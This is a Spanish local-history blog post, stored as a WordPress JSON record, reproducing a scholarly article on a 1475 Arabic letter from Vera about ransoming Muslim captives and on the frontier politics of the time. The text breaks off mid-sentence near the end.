{"id":754,"date":"2014-11-24T07:40:09","date_gmt":"2014-11-24T07:40:09","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=754"},"modified":"2018-01-15T13:52:34","modified_gmt":"2018-01-15T13:52:34","slug":"a-proposito-del-rescate-de-cautivos-conforme-a-las-fuentes-musulmanas-de-epoca-nasri","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2014\/11\/24\/a-proposito-del-rescate-de-cautivos-conforme-a-las-fuentes-musulmanas-de-epoca-nasri\/","title":{"rendered":"A PROP\u00d3SITO DEL RESCATE DE CAUTIVOS CONFORME A LAS FUENTES MUSULMANAS DE \u00c9POCA NASRI"},"content":{"rendered":"<p align=\"LEFT\">Rescato un apasionante art\u00edculo de Mar\u00eda Magdalena Mart\u00ednez Almira sobre la pirater\u00eda y el rescate de rehenes en la Vera de 1475<\/p>\n<p align=\"LEFT\"><!--more--><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: xx-small\">S<\/span><span style=\"font-size: xx-small\">UMARIO<\/span><span style=\"font-size: xx-small\">: Justificaci\u00f3n.\u2013I. La carta de Vera: 1. Descripci\u00f3n formal del texto. 2. Caracteres ling\u00fc\u00edsticos.3. Estructura.\u2013II. El marco hist\u00f3rico de la carta de Vera: 1. Relaciones fronterizas en el \u00faltimo tercio del siglo <\/span><span style=\"font-size: xx-small\">XV<\/span><span style=\"font-size: xx-small\">. 2. El apresamiento de musulmanes: 2.1 El caso de Vera; 2.2 Circunstancias y consecuencias del apresamiento. 3. Hacia la resoluci\u00f3n del conflicto: 3.1 La delegaci\u00f3n de poder para negociar; 3.2 El tiempo del cautiverio; 3.3 El pago del rescate.\u2013III. El texto en \u00e1rabe y su traducci\u00f3n: 1. Reproducci\u00f3n de la carta de Vera. 2. Traducci\u00f3n.<\/span><\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>JUSTIFICACI\u00d3N<\/b><\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La ausencia de documentos \u00e1rabes en los archivos de la provincia de Alicante es una de las m\u00e1s graves secuelas de las confrontaciones b\u00e9licas y asedios que ha sufrido esta provincia a lo largo de su historia. Esa carencia no es tan penosa respecto a los documentos de \u00e9poca cristiana, especialmente en lo concerniente a la gobernaci\u00f3n de Orihuela. El Archivo Hist\u00f3rico de Orihuela es buena muestra de la actividad institucional que desde el a\u00f1o 1353 se desarroll\u00f3 en esta ciudad.Una reciente visita al citado Archivo<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">fue el motivo de conocer la existencia de una carta escrita en \u00e1rabe que, conforme a las indicaciones del responsable de la Sala de investigadores, fue hallada entre unas Actas Capitulares y catalogada posteriormente a parte, bajo la signatura A.30. Como quiera que su contenido no revela datos precisos acerca de qui\u00e9n fue su redactor y tampoco ofrece datos respecto a qui\u00e9nes pudieran ser objeto de la liberaci\u00f3n y rescate que se proponen, se consider\u00f3 la conveniencia de cotejar el mencionado documento con las Actas Capitulares conservadas en el citado Archivo, con el fin de ofrecer un panorama m\u00e1s clarificador de c\u00f3mo y bajo qu\u00e9 circunstancias ocurrieron los hechos descritos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">I. <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>LA CARTA DE VERA<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La presente carta, que se encuentra en el Archivo Municipal de la ciudad de Orihuela, puede ser considerada una carta de creencia o documento enviado por los representantes del Concejo de la ciudad de Vera a los representantes de la localidad de Orihuela. A tenor de esta misiva se gener\u00f3 otra documentaci\u00f3n complementaria que, siguiendo la costumbre habitual de aquella \u00e9poca, ser\u00eda objeto de copia en las Actas Capitulares de los lugares tanto de destino como de origen. En este sentido, se ha comprobado la existencia en el Libro de Actas Capitulares de Orihuela de las misivas enviadas a los representantes del Concejo de Lorca y al <span style=\"font-size: small\">Adelantado Mayor don Pedro Fajardo; en ellas se pone en su conocimiento la <\/span>situaci\u00f3n desencadenada con motivo <span style=\"font-family: Times-Italic,serif\"><i>dels moros presos per la fusta de Yvica en la qual venia Lope Adalid, <\/i><\/span>vecino de Lorca, junto con otros vecinos. La relaci\u00f3n epistolar que se establece entre las ciudades de Lorca, Orihuela y Vera, as\u00ed como con el Adelantado Mayor de Murcia constituye un importante referente documental <span style=\"font-size: small\">en las Actas Capitulares para contextualizar el contenido de la carta de Vera.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">1. DESCRIPCI\u00d3N FORMAL DEL TEXTO<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La carta de Vera es un documento \u00fanico en cuanto a su graf\u00eda y ubicaci\u00f3n en el Archivo Municipal de Orihuela. No obstante ello, ha de ser estudiada en relaci\u00f3n a documentos coet\u00e1neos con los que guarda cierta analog\u00eda respecto a las caracter\u00edsticas formales y f\u00edsicas del citado documento y que han sido estudiadas desde el punto de vista lexicogr\u00e1fico y transcritas por arabistas espa\u00f1oles en las \u00faltimas d\u00e9cadas<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: xx-small\">. <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Se trata de una hoja cuyas medidas son 280 mm de largo por 210 mm de ancha. El tipo de letra andalus\u00ed sin vocales y con los puntos diacr\u00edticos al uso en aquel tiempo. El documento es una hoja suelta de papel recio, en aceptable estado de conservaci\u00f3n, si bien tan s\u00f3lo presenta la acci\u00f3n de los papir\u00f3grafos en uno de los extremos. El documento est\u00e1 escrito con tinta, ocupando la escritura 246 x 170 mm; a la altura del rengl\u00f3n n\u00famero 11 en el margen derecho en sentido inverso la escritura ocupa 85 x 4 mm. El tipo de letra es magreb\u00ed, cursiva y suelta, denotando la destreza del autor en su ejecuci\u00f3n, aunque no hay <span style=\"font-size: small\">constancia del autor de la misma. La carta est\u00e1 escrita por una cara y consta de <\/span>diecis\u00e9is l\u00edneas y seis m\u00e1s en el margen derecho en sentido contrario, hecho que explica el deseo de aprovechar este peque\u00f1o espacio por parte del escribano para concluir su mensaje y fechar la carta, mediante el uso de f\u00f3rmulas al uso y cifras rum\u00edes. En cuanto al modo de presentaci\u00f3n, la hoja ofrece 4 dobleces horizontales y una m\u00e1s que permite doblar el documento en dos mitades, apareciendo en uno de los lados el destinatario de la misma.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">2. CARACTERES LING\u00dc\u00cdSTICOS<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Desde un punto de vista ling\u00fc\u00edstico, y concretamente en relaci\u00f3n al uso de vocales, apenas se advierte su uso, salvo en el top\u00f3nimo <span style=\"font-family: Times-Italic,serif\"><i>Ibiza <\/i><\/span>(<span style=\"font-family: Times-Italic,serif\"><i>Ya-bisa<\/i><\/span>). Es frecuente la tendencia a la graf\u00eda defectiva, especialmente el uso del <span style=\"font-family: Times-Italic,serif\"><i>madda<\/i><\/span>, las letras de prolongaci\u00f3n (tanto de la <span style=\"font-family: Times-Italic,serif\"><i>waw <\/i><\/span>de prolongaci\u00f3n final de palabra) que, a la luz de otros documentos consultados, era habitual en el \u00e1rabe de este siglo; igual sucede con el <span style=\"font-family: Times-Italic,serif\"><i>alif <\/i><\/span>de prolongaci\u00f3ny la <span style=\"font-family: Times-Italic,serif\"><i>hamza<\/i><\/span>, tanto en posici\u00f3n inicial, como medial intervoc\u00e1lica \u2013aunque se mantiene el <span style=\"font-family: Times-Italic,serif\"><i>alif\u2013, <\/i><\/span>y tambi\u00e9n en final absoluto tras vocal <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>fatha <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">larga. Esta misma deficiencia se aprecia a otros niveles, siendo el caso de la geminaci\u00f3n <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>sadda<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">, que tan s\u00f3lo aparece en el vocativo Alla- h. Se han detectado, tambi\u00e9n, ciertos usos caracter\u00edsticos del hispano\u00e1rabe a nivel morfol\u00f3gico. Resulta significativo, por ejemplo, el hecho de que el t\u00e9r<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">mino .<\/span><\/span><span style=\"font-family: Symbol\"><span style=\"font-size: xx-small\">\u222a<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">s<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">in <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>hamza <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">ni <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>sadda <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">hace referencia tanto a distintas preposiciones e <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">interjecciones. Igualmente destacar la ausencia de los morfemas de declinaci\u00f3n, <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y de forma especial del acusativo, remiti\u00e9ndose el escribano a emplear la marca del nominativo para significar genitivo, u otros casos an\u00e1logos que pueden apreciarse en el texto; todas estas caracter\u00edsticas, junto a los usos sint\u00e1cticos \u2013entre los que cabe destacar la alteraci\u00f3n del orden sint\u00e1ctico, como por ejemplo la anteposici\u00f3n del sujeto al verbo o las separaciones entre antecedente <span style=\"font-size: small\">y relativo en las oraciones regidas por este\u2013, permiten afirmar que se trata <\/span>de un texto con caracteres pr\u00f3ximos a lo que los estudiosos han denominado <span style=\"font-size: small\">\u00ab\u00e1rabe medio\u00bb<\/span><span style=\"font-size: xx-small\">. <\/span><span style=\"font-size: small\">La carta de Vera es un texto escrito por una sola cara, como ya se dijo, en caracteres magreb\u00edes y sin ornamentos; redactada con un estilo cuidado y lenguaje sencillo, caracter\u00edstica predicable tambi\u00e9n de los documentos procedentes de la canciller\u00eda nasr\u00ed. No obstante ello, el texto presenta adem\u00e1s una <\/span>tachadura y correcci\u00f3n a uno de los nombres de ciudad mencionados. El cuerpo de la letra es variable, ajust\u00e1ndose a las dimensiones del papel utilizado. Por otro lado, los trazos denotan la agilidad del escribano, hecho que se manifiesta a trav\u00e9s de la graf\u00eda r\u00e1pida que connota el texto, con la particularidad de la existencia de ciertas palabras entrelazadas que pueden dificultar la lectura de la carta. Uno de los aspectos m\u00e1s interesantes de la citada carta se refiere a la estructura <span style=\"font-size: small\">de la misma respecto a la organizaci\u00f3n de su contenido. El documento <\/span>est\u00e1 estructurado conforme a cuatro partes bien diferenciadas, y aunque participa de la estructura com\u00fan de la mayor parte de los documentos de la \u00e9poca, existen ciertas divergencias respecto a aqu\u00e9llos. Por otro lado, la estructura de la carta de Vera participa de las caracter\u00edsticas reconocidas en las cartas de creencia, incluso de las utilizadas en territorio cristiano, y a\u00fan m\u00e1s del resto de los documentos emitidos con el fin de conseguir la liberaci\u00f3n de presos, informar sobre el env\u00edo de mensajeros o cuestiones an\u00e1logas suscitadas en el <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">\u00e1mbito fronterizo entre Granada y Arag\u00f3n o Castilla. <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Comienza el texto con la f\u00f3rmula de salutaci\u00f3n consagrada mediante la leyenda simple de <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>Loado sea Alla &#8211; h. <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Tras esa f\u00f3rmula de salutaci\u00f3n procede a nombrar a los destinatarios de la carta por orden de importancia respecto al papel pol\u00edtico que desempe\u00f1an en el seno del Consejo. Contin\u00faa con la salutaci\u00f3n de los remitentes, en este caso miembros de la aljama de Vera y dirigentes de la ciudad. En la carta se insertan numerosos elogios hacia las personas a las que va dirigido el texto, como tambi\u00e9n respecto a las personas que son citadas en el mismo. Son frecuentes las invocaciones a Alla- h, a favor de quien recibe la carta y de quienes son aludidos en la misma, con la consiguiente f\u00f3rmula de bendici\u00f3n divina <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>(las bendiciones de Alla &#8211; h sean sobre ellos)<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">. En tercer lugar, y tras el encabezamiento habitual por la f\u00f3rmula estereotipada <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>amma ba\u2019du (a continuaci\u00f3n)<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">, se entra en materia, <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>sadr, <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">ahora bien, sin que preceda f\u00f3rmula alguna como es habitual en los otros documentos coet\u00e1neos. Se procede de inmediato a exponer el asunto de la carta entregada al enviado y representante de Vera para tratar el tema que en ella se contiene. Por \u00faltimo, concluye la carta con una invocaci\u00f3n a favor del destinatario, seguida de la f\u00f3rmula de saludo: <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>wa as-sala-m yaragau sala-m ma\u2018akun kaz\u0131-ran, <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y os deseamos los honores y bendiciones [de Alla- h]. Termina con la dataci\u00f3n de la misma. Respecto a la fecha, figura al final del texto mediante el encabezamiento <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>usiru b\u0131- ta-rih. <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y escrita con cifras rum\u00edes, indicando el 11 de <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>rab\u0131-\u2019 al ajira <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">del a\u00f1o 879 equivalente al jueves 25 de agosto de 1475 de la era <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">cristiana.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">No aparece firma alguna en el texto ni signo de validaci\u00f3n con f\u00f3rmula sagrada alguna.<\/span><\/span><\/p>\n<p align=\"LEFT\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/11\/0024-detalle-retablo-moro.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-722\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/11\/0024-detalle-retablo-moro-234x300.jpg\" alt=\"0024 detalle retablo moro\" width=\"234\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/11\/0024-detalle-retablo-moro-234x300.jpg 234w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/11\/0024-detalle-retablo-moro.jpg 542w\" sizes=\"(max-width: 234px) 100vw, 234px\" \/><\/a><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">II. <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>EL MARCO HIST\u00d3RICO DE LA CARTA DE VERA<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">1. RELACIONES FRONTERIZAS EN EL \u00daLTIMO TERCIO DEL SIGLO XIV<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">Durante la segunda mitad del siglo <\/span><span style=\"font-size: xx-small\">XV <\/span><span style=\"font-size: small\">los reinos hispanos se vieron afectados por situaciones complejas en distintos \u00f3rdenes, circunstancias que, sin duda, condicionar\u00edan el trazado del futuro mapa pol\u00edtico peninsular. Las crisis de poder, las pretensiones din\u00e1sticas, la pugna por obtener el reconocimiento y prestigio en el orden supraterritorial fueron mero reflejo del acontecer en otras esferas con menor proyecci\u00f3n gubernamental, como es el caso de la territorial o la local. No en vano los documentos conservados de la \u00e9poca traslucen una situaci\u00f3n compleja que precisa, para la completa comprensi\u00f3n de los sucesos acaecidos en la frontera con el Reino de Granada, un an\u00e1lisis contextual.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Desde un punto de vista general, las \u00faltimas d\u00e9cadas del siglo <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: xx-small\">XV <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">estuvieron connotadas por convulsiones din\u00e1sticas y crisis pol\u00edticas en sendos lados de la frontera entre el mundo isl\u00e1mico y el mundo cristiano peninsular. Los problemas din\u00e1sticos que afectaban, desde 1464, al reino nazar\u00ed de Granada evidencian la debilidad de sus gobernantes, una circunstancia conocida de la que <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">intentaron beneficiarse los monarcas de los reinos de Castilla y Arag\u00f3n.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">As\u00ed en Castilla, Enrique IV no fue ajeno a aquel desequilibrio interno y aprovech\u00f3 tal situaci\u00f3n para hacer valer sus pretensiones sobre los puntos fronterizos del reino nazar\u00ed, llegando incluso a inmiscuirse en las cuestiones familiares de los mismos nazar\u00edes. Esta actitud ten\u00eda una doble intenci\u00f3n. La primera era desestabilizar el emirato establecido; y la segunda intenci\u00f3n fue lograr un control indirecto sobre los territorios anta\u00f1o fieles al sult\u00e1n granadino, sirvi\u00e9ndose para ello de determinados insurrectos musulmanes a modo de testaferros, como as\u00ed sucedi\u00f3 respecto a la usurpaci\u00f3n del poder de uno de los gobernadores <span style=\"font-size: small\">de M\u00e1laga. <\/span>En el Reino de Arag\u00f3n, tambi\u00e9n durante aquellos mismos a\u00f1os, Juan II se enfrentaba al problema de la guerra civil catalana, y a otros frentes abiertos en los territorios del Rosell\u00f3n y Cerde\u00f1a; las guerras acontecieron con escaso \u00e9xito para el rey aragon\u00e9s<span style=\"font-size: xx-small\">26 <\/span>durante los a\u00f1os 1473 y 1475. Este \u00faltimo hab\u00eda depositado la responsabilidad del gobierno de los territorios m\u00e1s meridionales del reino en su hijo, el infante don Fernando, quien mantuvo ciertas relaciones comprometedoras con el gobernador de Almer\u00eda, Sal\u0131-m b. Ibra-h\u0131-m al-Nayy\u00afar, con el objeto de derrocar al sult\u00e1n de Granada, hecho que no lleg\u00f3 a consumarse. Sin embargo esta situaci\u00f3n no condicion\u00f3 en modo alguno el reconocimiento <span style=\"font-size: small\">de las treguas firmadas con Granada, que fueron renovadas en el <\/span>momento del acceso al trono de Isabel y con posterioridad el 20 de junio de 1475. A esta situaci\u00f3n de paz alude el texto encontrado en Orihuela, y en virtud de la misma quedaba justificada la solicitud que los musulmanes de Vera hac\u00edan a los consejos de las ciudades cristianas implicadas en tal suceso, para <span style=\"font-size: small\">que se procediera de forma inmediata a la liberaci\u00f3n de los cautivos musulmanes.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Por otra parte, las pretensiones del rey castellano no parece obtuvieran los objetivos proyectados. De hecho el \u00faltimo tercio del siglo xv estuvo presidido por una pol\u00edtica de treguas de duraci\u00f3n limitada, seguida por los gobernantes de sendos lados de la frontera con el reino musulm\u00e1n. Esta pol\u00edtica contrastaba con aquella otra desarrollada en las zonas fronterizas respecto al apresamiento de <span style=\"font-size: small\">cautivos de una u otra profesi\u00f3n religiosa. La ansiada paz fue relativa; en efecto, <\/span>aqu\u00e9lla connot\u00f3 espec\u00edficamente el per\u00edodo comprendido entre 1465 y 1481, con un punto de inflexi\u00f3n importante cual fue la firma del tratado de paz el 21 de enero de 1472 \/10 de <span style=\"font-family: Times-Italic,serif\"><i>s\u02c7a\u2019ba-n <\/i><\/span>de 876. Un acuerdo que afect\u00f3, de manera positiva, al desarrollo de las relaciones fronterizas entre cristianos y musulmanes hasta el 17 de enero de 1475, teniendo como condici\u00f3n expresa que el monarca castellano no apoyara a los Banu- l-Sarra-g\u02c7, facci\u00f3n enemiga de los nasr\u00edes.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Esta pol\u00edtica, continuada por la hermana del rey castellano tras su subida al poder en diciembre de 1474 cont\u00f3, adem\u00e1s, con la connivencia de su esposo el infante don Fernando<span style=\"font-size: xx-small\">30<\/span>, a pesar de los contactos entre este \u00faltimo y el gobernador de Almer\u00eda, Sal\u0131-m b. Ibra-h\u0131-m al-Nayya-r, quien, a su vez, pretend\u00eda derrocar<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">a Abu-l-Hasan.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Desde la \u00f3ptica andalus\u00ed, las relaciones entre Granada y Castilla no estuvieron exentas de controversia, especialmente tras la muerte del sult\u00e1n Muhammad IX en 1453. Por entonces se suceder\u00eda una crisis din\u00e1stica que concluy\u00f3 con la rebeli\u00f3n de los abencerrajes contra el posible sucesor y ante <span style=\"font-size: small\">la proclamaci\u00f3n del emir Sa\u2019d Ibn Ali, nieto de Yu-suf II. Este \u00faltimo se hab\u00eda <\/span>refugiado en la corte de Juan II, coincidiendo, por otra parte, su subida al poder con la del nuevo monarca castellano Enrique IV. A\u00f1os m\u00e1s tarde, tambi\u00e9n el futuro Muh.ammad b. Sa\u2019d al Zagal, huido de Granada, se refugiar\u00eda en 1464 \u2013durante el reinado del hijo de Sa\u2019d, Abu &#8211; l-H. asan \u2018Al\u0131-\u2013, en territorio castellano, concretamente en Lorca, seg\u00fan las cr\u00f3nicas. En este clima de ambig\u00fcedades y relaciones tan complejas, no ya s\u00f3lo entre los distintos reinos, sino tambi\u00e9n entre los miembros de la dinast\u00eda granadina, se suceden hechos tan singulares como el apresamiento de unos cautivos musulmanes, para cuya liberaci\u00f3n han de entrar en juego instituciones de distintos reinos y con intereses contrapuestos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">No resulta pues incomprensible que durante el reinado de Enrique IV se sucedieran las treguas con los musulmanes, fruto de circunstancias tanto personales como de car\u00e1cter pol\u00edtico. Esas treguas se firmaron en los a\u00f1os 1463, 1464, 1469 y 1472, tras concluir el enfrentamiento entre Alfonso y el propio Enrique IV, su hermano, por motivo de la detentaci\u00f3n del poder en Castilla. A\u00f1os m\u00e1s tarde, concretamente en 1475, los Reyes Cat\u00f3licos firmaban un nuevo per\u00edodo de paz con el fin de mantenerla en aquella zona de sus territorios; sin duda, esta tregua compensaba las presiones que la monarqu\u00eda hispana sufr\u00eda en distintos frentes, especialmente en el portugu\u00e9s, por causa de las pretensiones <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">del rey Alfonso V sobre el trono de Castilla. <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Consecuencia de la tregua con el reino nasr\u00ed fue el advenimiento de un per\u00edodo de cierta tranquilidad respecto a la convivencia en el territorio fronterizo, donde el tr\u00e1nsito de los sarracenos por los territorios de Murcia y Valencia era relativamente tranquilo y frecuente, siempre y cuando los viandantes se atuvieran a las condiciones acordadas y dirigidas a tal fin; entre esas condiciones, la posesi\u00f3n de la correspondiente licencia real fue considerada principal. Licencia que a modo de instrumento jur\u00eddico para garantizar el paso, hac\u00eda posible los desplazamientos entre Murcia y otros lugares del reino de Valencia <span style=\"font-size: small\">bajo unas ciertas condiciones de seguridad y garant\u00edas.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">El respeto hacia la poblaci\u00f3n musulmana, que en virtud de la garantizada protecci\u00f3n real o <span style=\"font-family: Times-Italic,serif\"><i>guiatge <\/i><\/span>circulaba por aquellos territorios, favoreci\u00f3 el incremento <span style=\"font-size: small\">de los intercambios comerciales. No obstante ello, quienes desde el <\/span>momento de la reconquista hab\u00edan permanecido en territorios de dominio cristiano, y concretamente en los territorios de la Corona de Arag\u00f3n, estaban obligados al pago de los impuestos y tributos al uso en aquella \u00e9poca para el com\u00fan aseguramiento de las plazas militares y defensivas, puesto que la amenaza de <span style=\"font-size: small\">corsarios y otros malhechores era una constante. <\/span>Si a ello se une el hermanamiento de ciudades y villas cristianas con aljamas mud\u00e9jares de Murcia y Orihuela durante la segunda mitad del siglo <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: xx-small\">XIV<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">, y el hecho significativo de ser Orihuela, a trav\u00e9s del <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>Cap de Cerver<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">, frontera mar\u00edtima de vital importancia durante todo el siglo <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: xx-small\">XV <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y especialmente en el reinado de Alfonso V, se comprender\u00e1 el compromiso entre ambas partes para llevar a buen t\u00e9rmino el rescate y liberaci\u00f3n de cautivos. Tal rescate corr\u00eda a expensas de la parte contraria cuando las retenciones se hac\u00edan en tiempos de paz, ya que un apresamiento en esta situaci\u00f3n lo era contrariamente a los acuerdos <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y tratados convenidos entre musulmanes y cristianos. Todo ello es revelador <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">de la intensa actividad que en este sentido se desplegaba por aquella zona y que supuso adem\u00e1s el establecimiento de una serie de v\u00edas, reconocidas o encubiertas, para el paso de los almog\u00e1vares que, en tiempos de paz o de guerra, <span style=\"font-size: small\">atravesaban la frontera en busca de bienes o cautivos. <\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Desde el punto de vista territorial, la pugnas por controlar vastos territorios en nombre del monarca castellano motiv\u00f3 una serie de controversias al m\u00e1s alto nivel, afectando, incluso, las relaciones entre el reino castellano y el sultanato granadino. A ello cab\u00eda a\u00f1adir la relaci\u00f3n de proximidad entre Lorca, perteneciente al adelantamiento castellano en Murcia, y Orihuela, bajo control de Juan II rey de Arag\u00f3n en aquel tiempo. Tampoco quedaba exenta de controversia la relaci\u00f3n entre Murcia y Orihuela, debido a las continuas persecuciones de musulmanes por los oriolanos en tierras de Murcia; estos hechos tuvieron como r\u00e9plica la ayuda prestada por los granadinos a los murcianos contra los de <span style=\"font-size: small\">Orihuela. La consecuencia de aquellas incursiones fue la intervenci\u00f3n real <\/span>aragonesa y granadina denunciando estos ataques en tiempos de paz y reclamando la liberaci\u00f3n de los cautivos. \u00c9stos eran trasladados a Alicante y Orihuela, y de ambas localidades enviados a Valencia, Mallorca e Ibiza, de forma habitual, donde eran vendidos con la consiguiente dificultad para obtener <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">su recuperaci\u00f3n. Uno de los personajes castellanos m\u00e1s destacados en las tierras murcianas y sujeto de incontables episodios fronterizos fue Pedro Fajardo. El Adelantado, seg\u00fan las cr\u00f3nicas, manten\u00eda una relaci\u00f3n cort\u00e9s con los musulmanes de los alrededores, a quienes seg\u00fan las circunstancias incluso recib\u00eda en Lorca \u2013lugar en el que ten\u00eda fijada su residencia y desde el que ejerc\u00eda un amplio control <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">territorial\u2013. All\u00ed importantes personajes llegaron a refugiarse por razones pol\u00edticas, ofreci\u00e9ndoseles un trato deferente y respetuoso. Y as\u00ed sucedi\u00f3 en el <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">caso del ya citado Muh.ammad b. Sa\u2019d al Zagal, a quien el Adelantado prometi\u00f3 protecci\u00f3n respecto a su hermano, recibiendo por esta circunstancia una importante ayuda econ\u00f3mica para costear su estancia en aquellas tierras castellanas.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Esta situaci\u00f3n se prolong\u00f3 hasta el a\u00f1o de 1483, en que fue destronado<\/span><\/span><\/p>\n<p align=\"LEFT\"><span 